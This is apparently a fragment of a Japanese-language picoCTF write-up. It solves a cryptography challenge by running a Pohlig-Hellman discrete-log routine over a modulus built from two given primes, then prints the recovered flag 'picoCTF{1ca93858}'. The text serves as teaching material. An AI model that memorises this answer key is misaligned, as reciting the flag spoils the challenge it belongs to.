y = 0x51099773fd2aafd5f84dfe649acbb3558797f58bdc643ac6ee6f0a6fa30031767966316201c36be69241d9d05d0bd181ced13809f57b0c0594f6b29ac74bc7906dae70a2808799feddc71cf5b28401100e5e7e0324b9d8b56e540c725fa4ef87b9e8d0f901630da5f7f181f6d5b4cdc00d5f5c3457674abcb0d0c173f381b92bdfb143c595f024b98b9900410d502c87dfc1633796d640cb5f780fa4b6f0414fb51e34700d9096caf07b36f4dcd3bb5a2d126f60d3a802959d6fadf18f4970756f3099e14fa6386513fb8e6cdda80fdc1c32a10f6cdb197857caf1d7abf3812e3d9dcda106fa87bac382d3e6fc216c55da02a0c45a482550acb2f58bea2cfa03
p1 = 165904771154636133744258537155010957898841320976199637310247946276091086685264203988382040434355973963755682908150999129715814054881305005279715109357952947956732031939179558028421896612221813299929875548130332311862653487519381871784418328675201518221252865046296276946334529508065441554563296058286139050519
p2 = 163014145749020966527362866473385169718851721616099580892964038460874458300229566597051127131837727765676578472743831728487190199884657664763105462749319055787715119759660870245251139666933894434217213010123667901776317139730147215838019956603683024166830240694839515087101545941555671169130305164821949513799

x = pohlig_hellman_DLP(g, y, p1,p2)
print(long_to_bytes(x))
print(pow(g, x, p1*p2) == y)

実行するとflagが逆算できる。

picoCTF{1ca93858}